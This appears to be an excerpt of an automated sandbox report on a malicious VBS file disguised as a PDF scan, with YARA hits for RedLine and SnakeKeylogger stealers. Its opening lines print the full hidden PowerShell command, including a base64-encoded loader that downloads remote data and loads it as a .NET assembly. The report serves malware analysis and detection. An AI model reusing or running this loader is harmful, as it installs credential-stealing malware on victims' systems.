d = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00408C60	13_2_00408C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0040DC11	13_2_0040DC11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00407C3F	13_2_00407C3F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00418CCC	13_2_00418CCC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00406CA0	13_2_00406CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_004028B0	13_2_004028B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0041A4BE	13_2_0041A4BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00418244	13_2_00418244
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00401650	13_2_00401650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00402F20	13_2_00402F20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_004193C4	13_2_004193C4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00418788	13_2_00418788
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00402F89	13_2_00402F89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00402B90	13_2_00402B90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_004073A0	13_2_004073A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791D7B8	13_2_0791D7B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_07917630	13_2_07917630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791A598	13_2_0791A598
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791C4E0	13_2_0791C4E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791D4EB	13_2_0791D4EB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791D20B	13_2_0791D20B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791CF30	13_2_0791CF30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_07916EA8	13_2_07916EA8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_07912EF8	13_2_07912EF8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791EEE0	13_2_0791EEE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791CC58	13_2_0791CC58
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791C980	13_2_0791C980
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791586F	13_2_0791586F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791C6A8	13_2_0791C6A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_07914311	13_2_07914311
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791EED0	13_2_0791EED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F9578	13_2_090F9578
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F2580	13_2_090F2580
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F5048	13_2_090F5048
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FF840	13_2_090FF840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F9CA0	13_2_090F9CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FCCD0	13_2_090FCCD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F0B30	13_2_090F0B30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F17B0	13_2_090F17B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F1E98	13_2_090F1E98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FD119	13_2_090FD119
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FD128	13_2_090FD128
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F2572	13_2_090F2572
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FD570	13_2_090FD570
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FD580	13_2_090FD580
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FD9D8	13_2_090FD9D8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FD9D5	13_2_090FD9D5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F0033	13_2_090F0033
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FF832	13_2_090FF832
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F5047	13_2_090F5047
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F0040	13_2_090F0040
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F9C9F	13_2_090F9C9F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FFC98	13_2_090FFC98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FCCC0	13_2_090FCCC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F0B2F	13_2_090F0B2F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FEB29	13_2_090FEB29
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FEB38	13_2_090FEB38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F9358	13_2_090F9358
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FEF80	13_2_090FEF80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F179F	13_2_090F179F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FEF90	13_2_090FEF90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F8BBF	13_2_090F8BBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F8BC0	13_2_090F8BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FF3D7	13_2_090FF3D7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FF3E8	13_2_090FF3E8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FDE1F	13_2_090FDE1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FDE30	13_2_090FDE30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FE27A	13_2_090FE27A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090F1E8A	13_2_090F1E8A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FE288	13_2_090FE288
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FE6D0	13_2_090FE6D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_090FE6E0	13_2_090FE6E0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: String function: 0040E1D8 appears 44 times

Source: Scan12112024,pdf.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358			Jump to behavior

Source: 13.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 13.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
